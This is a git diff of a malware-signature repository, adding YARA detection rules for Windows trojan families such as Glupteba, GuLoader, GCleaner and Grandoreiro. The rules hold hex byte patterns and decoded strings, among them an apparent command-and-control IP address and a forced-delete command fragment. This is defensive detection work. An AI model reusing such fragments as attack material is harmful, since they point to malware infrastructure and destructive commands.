b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SCP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_SCP_MTB{ + meta: + description = "Trojan:Win32/GCleaner.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 50 0a 00 00 10 00 00 00 7a 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 69 3c 00 00 60 0a 00 00 60 27 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SPGK_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SPGK_MTB.yar new file mode 100644 index 0000000000..dc138dde2c --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SPGK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_SPGK_MTB{ + meta: + description = "Trojan:Win32/GCleaner.SPGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 ac 03 75 ec 03 f0 bf 89 15 00 00 6a 00 e8 ?? ?? ?? ?? 03 fe 81 ef 89 15 00 00 03 c7 50 6a 00 e8 ?? ?? ?? ?? 5a 2b d0 31 13 83 45 ec 04 6a 00 e8 ?? ?? ?? ?? 83 c0 04 01 c3 8b 45 ec 3b 45 dc 72 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_UDP_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_UDP_MTB.yar new file mode 100644 index 0000000000..8c41a653a6 --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_UDP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_UDP_MTB{ + meta: + description = "Trojan:Win32/GCleaner.UDP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5a 2b d0 31 13 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 bc } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_Gcleaner_AGL_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_Gcleaner_AGL_MTB.yar index 5e8c8ca137..9373b385e7 100644 --- a/Trojan/Win32/GCleaner/Trojan_Win32_Gcleaner_AGL_MTB.yar +++ b/Trojan/Win32/GCleaner/Trojan_Win32_Gcleaner_AGL_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_Gcleaner_AGL_MTB{ + meta: + description = "Trojan:Win32/Gcleaner.AGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {50 6a 02 ff 75 ac ff d6 6a 04 8d 45 c8 c7 45 c8 ?? ?? ?? ?? 50 6a 41 ff 75 ac ff d6 83 7d c4 10 8d 45 b0 6a 01 0f 43 45 b0 53 6a 03 ff 77 40 ff 77 3c 6a 50 50 ff 75 ac } //1 + $a_01_1 = {31 38 35 2e 31 35 36 2e 37 33 2e 39 38 } //4 185.156.73.98 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} +rule Trojan_Win32_Gcleaner_AGL_MTB_2{ meta: description = "Trojan:Win32/Gcleaner.AGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/Win32/Gatak/Trojan_Win32_Gatak_BH_MTB.yar b/Trojan/Win32/Gatak/Trojan_Win32_Gatak_BH_MTB.yar new file mode 100644 index 0000000000..2dea0325e7 --- /dev/null +++ b/Trojan/Win32/Gatak/Trojan_Win32_Gatak_BH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Gatak_BH_MTB{ + meta: + description = "Trojan:Win32/Gatak.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {01 ef 8d 6e 40 55 56 e8 ?? ?? 00 00 83 c4 08 31 c0 0f 1f 44 00 00 0f b6 4c 05 00 30 0c 07 40 39 d8 72 } //2 + $a_01_1 = {31 c9 c7 44 24 68 74 65 20 6b c7 44 24 60 32 2d 62 79 c7 84 24 ec 00 00 00 6e 64 20 33 } //2 + $a_01_2 = {44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 } //1 DllRegisterServer + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Gatak/Trojan_Win32_Gatak_SPDH_MTB.yar b/Trojan/Win32/Gatak/Trojan_Win32_Gatak_SPDH_MTB.yar new file mode 100644 index 0000000000..4195afa17d --- /dev/null +++ b/Trojan/Win32/Gatak/Trojan_Win32_Gatak_SPDH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Gatak_SPDH_MTB{ + meta: + description = "Trojan:Win32/Gatak.SPDH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 8b 85 e8 0b 00 00 48 89 85 68 06 00 00 0f 10 85 d8 0b 00 00 0f 11 85 58 06 00 00 48 8b 45 c0 48 89 85 80 06 00 00 f3 0f 6f 45 b0 66 0f 7f 85 70 06 00 00 b9 02 00 00 00 31 d2 e8 ?? ?? ?? ?? 48 89 c6 48 83 f8 ff 0f 84 ?? ?? ?? ?? 48 8d 7d dc 41 b8 08 02 00 00 48 89 f9 31 d2 e8 ?? ?? ?? ?? 48 c7 45 b0 38 02 00 00 c7 45 b8 00 00 00 00 66 0f ef c0 f3 0f 7f 45 c0 f3 0f 7f 45 cc 48 8d 55 b0 48 89 f1 e8 ?? ?? ?? ?? 85 c0 0f 84 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/GenRansomDel/Trojan_Win32_GenRansomDel_BSA_MTB.yar b/Trojan/Win32/GenRansomDel/Trojan_Win32_GenRansomDel_BSA_MTB.yar new file mode 100644 index 0000000000..0f317193e8 --- /dev/null +++ b/Trojan/Win32/GenRansomDel/Trojan_Win32_GenRansomDel_BSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_GenRansomDel_BSA_MTB{ + meta: + description = "Trojan:Win32/GenRansomDel.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_00_0 = {2f 00 43 00 20 00 44 00 45 00 4c 00 20 00 2f 00 46 00 20 00 2f 00 51 00 20 00 43 00 3a 00 5c 00 50 00 52 00 4f 00 47 00 52 00 41 00 } //10 /C DEL /F /Q C:\PROGRA + $a_00_1 = {2e 00 74 00 6d 00 70 00 20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 } //1 .tmp >> NUL + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Ghanarava/Trojan_Win32_Ghanarava_MCE_MTB.yar b/Trojan/Win32/Ghanarava/Trojan_Win32_Ghanarava_MCE_MTB.yar new file mode 100644 index 0000000000..3827d79c7c --- /dev/null +++ b/Trojan/Win32/Ghanarava/Trojan_Win32_Ghanarava_MCE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Ghanarava_MCE_MTB{ + meta: + description = "Trojan:Win32/Ghanarava.MCE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {a8 69 42 00 ff f8 78 01 00 ff ff ff 08 00 00 00 01 00 00 00 06 00 00 00 e9 00 00 00 c8 67 42 00 5c 64 42 00 4c 7b 40 00 78 } //2 + $a_01_1 = {4c 61 75 6e 63 68 65 72 20 66 6f 72 20 5a 61 70 72 65 74 00 4c 61 } //1 慌湵档牥映牯娠灡敲t慌 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAS_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAS_MTB.yar new file mode 100644 index 0000000000..ccf83d4f34 --- /dev/null +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Glupteba_EAS_MTB{ + meta: + description = "Trojan:Win32/Glupteba.EAS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b f3 d3 ee 03 c3 89 45 e4 03 75 dc 8b 45 e4 31 45 fc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAUP_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAUP_MTB.yar new file mode 100644 index 0000000000..450c5bc2c2 --- /dev/null +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_EAUP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Glupteba_EAUP_MTB{ + meta: + description = "Trojan:Win32/Glupteba.EAUP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b ec 56 8b 31 8b 4d 08 8a 04 0a 88 04 31 5e 5d } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_ETNW_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_ETNW_MTB.yar new file mode 100644 index 0000000000..ff03b29121 --- /dev/null +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_ETNW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Glupteba_ETNW_MTB{ + meta: + description = "Trojan:Win32/Glupteba.ETNW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {8b 4c 24 1c d3 e8 30 04 3e 81 fd 49 06 00 00 0f 85 ?? ?? ?? ?? 89 54 24 18 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GTM_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GTM_MTB.yar index f56d0f4fc6..87cd0aa629 100644 --- a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GTM_MTB.yar +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GTM_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_Glupteba_GTM_MTB{ + meta: + description = "Trojan:Win32/Glupteba.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {31 03 49 81 c7 ?? ?? ?? ?? 43 01 c9 39 d3 } //10 + $a_03_1 = {31 06 46 bf ?? ?? ?? ?? 47 39 ce ?? ?? c3 47 21 ff 8d 04 10 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} +rule Trojan_Win32_Glupteba_GTM_MTB_2{ meta: description = "Trojan:Win32/Glupteba.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GYZ_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GYZ_MTB.yar new file mode 100644 index 0000000000..ad1140e916 --- /dev/null +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GYZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Glupteba_GYZ_MTB{ + meta: + description = "Trojan:Win32/Glupteba.GYZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {21 f0 29 c0 31 13 89 c8 81 c3 ?? ?? ?? ?? 21 c9 81 e8 ?? ?? ?? ?? 39 f3 } //10 + $a_03_1 = {31 38 81 c0 ?? ?? ?? ?? 39 f0 ?? ?? ba ?? ?? ?? ?? c3 bb ?? ?? ?? ?? 00 21 c0 68 ?? ?? 40 00 c3 89 db } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GZZ_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GZZ_MTB.yar index 23adbd1669..231a48d279 100644 --- a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GZZ_MTB.yar +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_GZZ_MTB.yar @@ -8,4 +8,15 @@ rule Trojan_Win32_Glupteba_GZZ_MTB{ condition: ((#a_03_0 & 1)*10) >=10 +} +rule Trojan_Win32_Glupteba_GZZ_MTB_2{ + meta: + description = "Trojan:Win32/Glupteba.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {31 0f 81 c7 04 00 00 00 39 f7 ?? ?? 81 c0 ?? ?? ?? ?? 81 c3 } //10 + $a_01_1 = {31 17 81 c7 04 00 00 00 09 d9 39 c7 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10) >=10 + } \ No newline at end of file diff --git a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_NG_MTB.yar b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_NG_MTB.yar index 04739a75ad..6472df9c6b 100644 --- a/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_NG_MTB.yar +++ b/Trojan/Win32/Glupteba/Trojan_Win32_Glupteba_NG_MTB.yar @@ -31,4 +31,16 @@ rule Trojan_Win32_Glupteba_NG_MTB_3{ condition: ((#a_02_0 & 1)*2+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=3 +} +rule Trojan_Win32_Glupteba_NG_MTB_4{ + meta: + description = "Trojan:Win32/Glupteba.NG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {09 d2 01 d3 5e 83 ec 04 89 14 24 5a 41 bb ?? ?? ?? ?? 83 ec 04 89 1c 24 8b 1c 24 83 c4 04 53 8b 14 24 83 c4 04 81 f9 06 98 00 01 75 b4 } //2 + $a_01_1 = {c7 04 24 44 95 40 00 41 01 d2 68 00 90 40 00 5e 01 c0 8b 1c 24 83 c4 04 e8 45 00 00 00 8b 34 24 83 c4 04 50 8b 0c 24 83 c4 04 5b 09 ca } //1 + $a_01_2 = {52 65 6d 6f 74 65 20 41 63 63 65 73 73 } //1 Remote Access + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Trojan/Win32/GoAgentz/Trojan_Win32_GoAgentz_Z_MTB.yar b/Trojan/Win32/GoAgentz/Trojan_Win32_GoAgentz_Z_MTB.yar new file mode 100644 index 0000000000..e6c98ae050 --- /dev/null +++ b/Trojan/Win32/GoAgentz/Trojan_Win32_GoAgentz_Z_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_GoAgentz_Z_MTB{ + meta: + description = "Trojan:Win32/GoAgentz.Z!MTB,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 00 " + + strings : + $a_01_0 = {63 6c 69 65 6e 74 20 66 69 6e 69 73 68 65 64 } //1 client finished + $a_01_1 = {73 65 72 76 65 72 20 66 69 6e 69 73 68 65 64 } //1 server finished + $a_01_2 = {6b 65 79 20 65 78 70 61 6e 73 69 6f 6e } //1 key expansion + $a_01_3 = {65 78 74 65 6e 64 65 64 20 6d 61 73 74 65 72 20 73 65 63 72 65 74 } //1 extended master secret + $a_01_4 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 } //1 VirtualAlloc + $a_01_5 = {47 6f 20 62 75 69 6c 64 69 6e 66 } //1 Go buildinf + $a_01_6 = {75 73 65 72 6e 61 6d 65 } //1 username + $a_01_7 = {70 61 73 73 77 6f 72 64 } //1 password + $a_01_8 = {41 64 64 72 50 6f 72 74 } //1 AddrPort + $a_01_9 = {73 6f 63 6b 61 64 64 72 } //1 sockaddr + $a_01_10 = {48 8b 84 24 48 05 00 00 31 c9 87 88 30 05 00 00 90 b9 01 00 00 00 f0 0f c1 88 68 03 00 00 48 8b 84 24 28 05 00 00 48 8b 0d 54 dc 4e 00 48 89 0c 24 48 89 44 24 08 e8 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Graftor/Trojan_Win32_Graftor_LMC_MTB.yar b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_LMC_MTB.yar new file mode 100644 index 0000000000..c4ced28b7b --- /dev/null +++ b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_LMC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Graftor_LMC_MTB{ + meta: + description = "Trojan:Win32/Graftor.LMC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_03_0 = {33 c0 85 c9 74 ?? ?? ?? 8d 9b 00 00 00 00 30 04 38 8b 8d e8 ec ff ff 40 3b c1 } //20 + $a_03_1 = {8a 47 01 47 84 c0 75 ?? ?? ?? ?? ?? ?? ?? 8d 85 f0 fe ff ff 89 17 48 8a 48 01 40 84 c9 75 ?? 66 8b 0d ?? ?? ?? ?? 8a 15 16 b2 40 00 8d bd f0 fe ff ff 66 89 08 88 50 02 4f 8d a4 24 00 00 00 00 } //10 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SEFT_MTB.yar b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SEFT_MTB.yar new file mode 100644 index 0000000000..621fd62f16 --- /dev/null +++ b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SEFT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Graftor_SEFT_MTB{ + meta: + description = "Trojan:Win32/Graftor.SEFT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {74 00 69 00 74 00 69 00 73 00 69 00 6d 00 69 00 75 00 6d 00 69 00 73 00 6c 00 69 00 6d 00 61 00 } //2 titisimiumislima + $a_01_1 = {6a 00 6f 00 73 00 70 00 6c 00 6f 00 76 00 69 00 73 00 6d 00 69 00 75 00 7a 00 69 00 6c 00 61 00 6d 00 61 00 } //2 josplovismiuzilama + $a_01_2 = {64 00 61 00 7a 00 61 00 62 00 6f 00 72 00 61 00 76 00 69 00 6d 00 6e 00 61 00 73 00 76 00 65 00 } //2 dazaboravimnasve + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SX_MTB.yar b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SX_MTB.yar new file mode 100644 index 0000000000..5dbd22e72b --- /dev/null +++ b/Trojan/Win32/Graftor/Trojan_Win32_Graftor_SX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Graftor_SX_MTB{ + meta: + description = "Trojan:Win32/Graftor.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {ff 36 8d 85 f8 fe ff ff 50 ff 15 ?? ?? ?? ?? 59 85 c0 59 74 1b 47 83 c6 04 3b 7d 0c 7c e2 } //3 + $a_01_1 = {b9 81 00 00 00 33 c0 8d bd ee fa ff ff f3 ab 80 a5 f8 fd ff ff 00 6a 40 66 ab 59 33 c0 8d bd f9 fd ff ff 68 e0 40 40 00 f3 ab 66 ab aa } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_GMX_MTB.yar b/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_GMX_MTB.yar new file mode 100644 index 0000000000..0f4d347166 --- /dev/null +++ b/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_GMX_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Grandoreiro_GMX_MTB{ + meta: + description = "Trojan:Win32/Grandoreiro.GMX!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {41 47 41 4e 47 41 4c 4f 53 54 52 55 4d 50 54 4f 54 41 4c 44 4f 4c 4c 41 52 45 53 46 41 4b 41 4b 41 4b 41 4b 41 4e 4f 57 57 41 44 44 41 53 41 53 41 53 41 44 41 44 } //5 AGANGALOSTRUMPTOTALDOLLARESFAKAKAKAKANOWWADDASASASADAD + $a_01_1 = {41 50 41 4c 4f 4e 49 55 53 50 52 4f 43 45 44 41 52 49 55 53 41 48 48 43 41 52 41 49 55 41 44 48 41 44 41 48 44 41 52 45 49 53 41 48 44 55 53 41 48 55 44 48 55 41 44 55 48 41 55 48 44 42 41 55 58 } //5 APALONIUSPROCEDARIUSAHHCARAIUADHADAHDAREISAHDUSAHUDHUADUHAUHDBAUX + $a_01_2 = {41 43 41 52 4c 41 4f 51 55 45 49 53 53 4f 55 4e 49 56 45 52 53 4f 50 41 52 41 4c 45 4c 4f 45 54 4f 54 41 4c 4e 41 4d 4f 52 41 4c 36 36 36 37 37 37 } //5 ACARLAOQUEISSOUNIVERSOPARALELOETOTALNAMORAL666777 + $a_01_3 = {41 52 41 42 41 4e 45 56 49 41 54 52 49 42 4f 4c 41 54 55 4d 4b 41 50 42 4f 4f 4f 4d 4b 41 50 42 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4d 4e 4f 54 4f 52 49 55 53 52 49 47 } //5 ARABANEVIATRIBOLATUMKAPBOOOMKAPBOOOOOOOOOOOOMNOTORIUSRIG + $a_01_4 = {41 44 45 49 58 45 49 47 41 4d 45 49 41 47 41 4d 41 4d 4f 55 47 41 4d 45 49 4e 45 53 53 41 58 4f 58 4f 54 41 51 55 45 45 44 45 4f 52 4f 4f 55 52 4f 4f 55 52 4f 4e 55 4e 43 41 42 52 4f 4e 5a 45 4e 45 4d 50 52 41 54 41 36 36 36 37 37 37 } //5 ADEIXEIGAMEIAGAMAMOUGAMEINESSAXOXOTAQUEEDEOROOUROOURONUNCABRONZENEMPRATA666777 + $a_01_5 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 63 00 6c 00 64 00 2e 00 70 00 74 00 } //1 http://cld.pt + $a_01_6 = {74 78 53 48 72 4a 72 45 52 4d 51 58 68 46 70 68 4a 2e 64 6c 6c } //1 txSHrJrERMQXhFphJ.dll + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5+(#a_01_3 & 1)*5+(#a_01_4 & 1)*5+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_psyJ_MTB.yar b/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_psyJ_MTB.yar deleted file mode 100644 index a6be12d38c..0000000000 --- a/Trojan/Win32/Grandoreiro/Trojan_Win32_Grandoreiro_psyJ_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_Grandoreiro_psyJ_MTB{ - meta: - description = "Trojan:Win32/Grandoreiro.psyJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 01 00 00 " - - strings : - $a_01_0 = {74 04 85 ce 75 26 e8 94 ff ff ff 8b c8 3b cf 75 07 b9 4f e6 40 bb eb 0e 85 ce 75 0a 0d 11 47 00 00 c1 e0 10 0b c8 89 0d 18 7c 40 00 f7 d1 } //7 - condition: - ((#a_01_0 & 1)*7) >=7 - -} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_AM_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_AM_MTB.yar index bcd03138d2..c016b9e441 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_AM_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_AM_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_GuLoader_AM_MTB{ +rule Trojan_Win32_Guloader_AM_MTB{ meta: - description = "Trojan:Win32/GuLoader.AM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + description = "Trojan:Win32/Guloader.AM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " strings : $a_03_0 = {39 cb d9 d0 [0-08] 75 90 0a 50 00 4a [0-15] 29 db [0-15] 0b 1a [0-20] 39 cb d9 d0 [0-08] 75 } //1 diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_ASM_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_ASM_MTB.yar new file mode 100644 index 0000000000..a4318cafa1 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_ASM_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_ASM_MTB{ + meta: + description = "Trojan:Win32/GuLoader.ASM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {45 78 73 68 69 70 35 39 5c 6f 70 74 72 6e 65 6e 64 65 2e 64 6c 6c } //1 Exship59\optrnende.dll + $a_01_1 = {42 61 61 6e 64 73 6b 69 66 74 65 72 6e 65 73 5c 70 72 6f 74 6f 68 69 73 74 6f 72 69 61 6e 5c 4b 6e 75 73 65 73 31 38 37 } //1 Baandskifternes\protohistorian\Knuses187 + $a_01_2 = {73 6f 63 69 61 6c 62 65 67 69 76 65 6e 68 65 64 65 6e 5c 68 61 6c 6c 75 63 69 6e 61 74 69 6f 6e 65 72 73 2e 64 6c 6c } //1 socialbegivenheden\hallucinationers.dll + $a_01_3 = {70 68 79 73 6f 70 68 6f 72 65 5c 73 74 72 61 65 64 65 74 2e 69 6e 69 } //1 physophore\straedet.ini + $a_01_4 = {47 75 6c 76 68 6a 64 65 72 6e 65 31 34 39 5c 68 65 6c 73 69 6c 6b 65 73 2e 69 6e 69 } //1 Gulvhjderne149\helsilkes.ini + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_CCJZ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_CCJZ_MTB.yar new file mode 100644 index 0000000000..80566da3ee --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_CCJZ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_CCJZ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {5c 4c 61 6e 64 65 70 6c 61 67 65 72 35 32 2e 54 65 6b } //2 \Landeplager52.Tek + $a_81_1 = {54 72 6f 6e 65 73 2e 6a 70 67 } //1 Trones.jpg + $a_81_2 = {65 78 74 65 6e 73 6f 2e 69 6e 69 } //1 extenso.ini + $a_81_3 = {70 72 69 61 63 61 6e 74 68 69 64 61 65 2e 6a 70 67 } //1 priacanthidae.jpg + $a_81_4 = {5c 56 61 6e 64 6c 69 64 65 6e 64 65 2e 52 75 67 } //1 \Vandlidende.Rug + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAA_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAA_MTB.yar new file mode 100644 index 0000000000..1e5fb2aa05 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAA_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 70 6c 61 64 73 68 6f 